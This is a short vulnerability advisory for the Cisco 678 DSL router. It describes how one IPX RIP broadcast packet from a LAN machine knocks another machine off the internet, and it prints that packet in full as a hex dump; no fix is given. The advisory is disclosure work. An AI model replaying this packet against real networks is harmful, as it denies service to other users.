Vulnerability

    Cisco

Affected

    Cisco 678

Description

    George R. found following.  Setup: Cisco 678 DSL router connecting
    2  machines  to  the  internet.  Machines  are  using  routable IP
    addresses  (NAT  is  disabled)  and  are  fully  pingable from the
    internet side.

    By sending the following broadcast packet from Machine1,  Machine2
    can no longer talk to the internet.  This is the packet:

        00000:  FF FF FF FF FF FF 00 80 29 61 9B 39 00 2C E0 E0   ........)a.9.,..
        00010:  03 FF FF 00 28 00 01 00 00 00 00 FF FF FF FF FF   ....(...........
        00020:  FF 04 53 00 00 00 00 00 80 29 61 9B 39 04 53 00   ..S......)a.9.S.
        00030:  02 92 23 33 C3 00 01 00 02 00                     ..#3......

    It is an IPX RIP broadcast of some kind (RIPX) and within a second
    or two of this packet  machine2 drops off the internet.   Machine2
    does not have IPX installed, only TCP/IP.

Solution

    Nothing yet.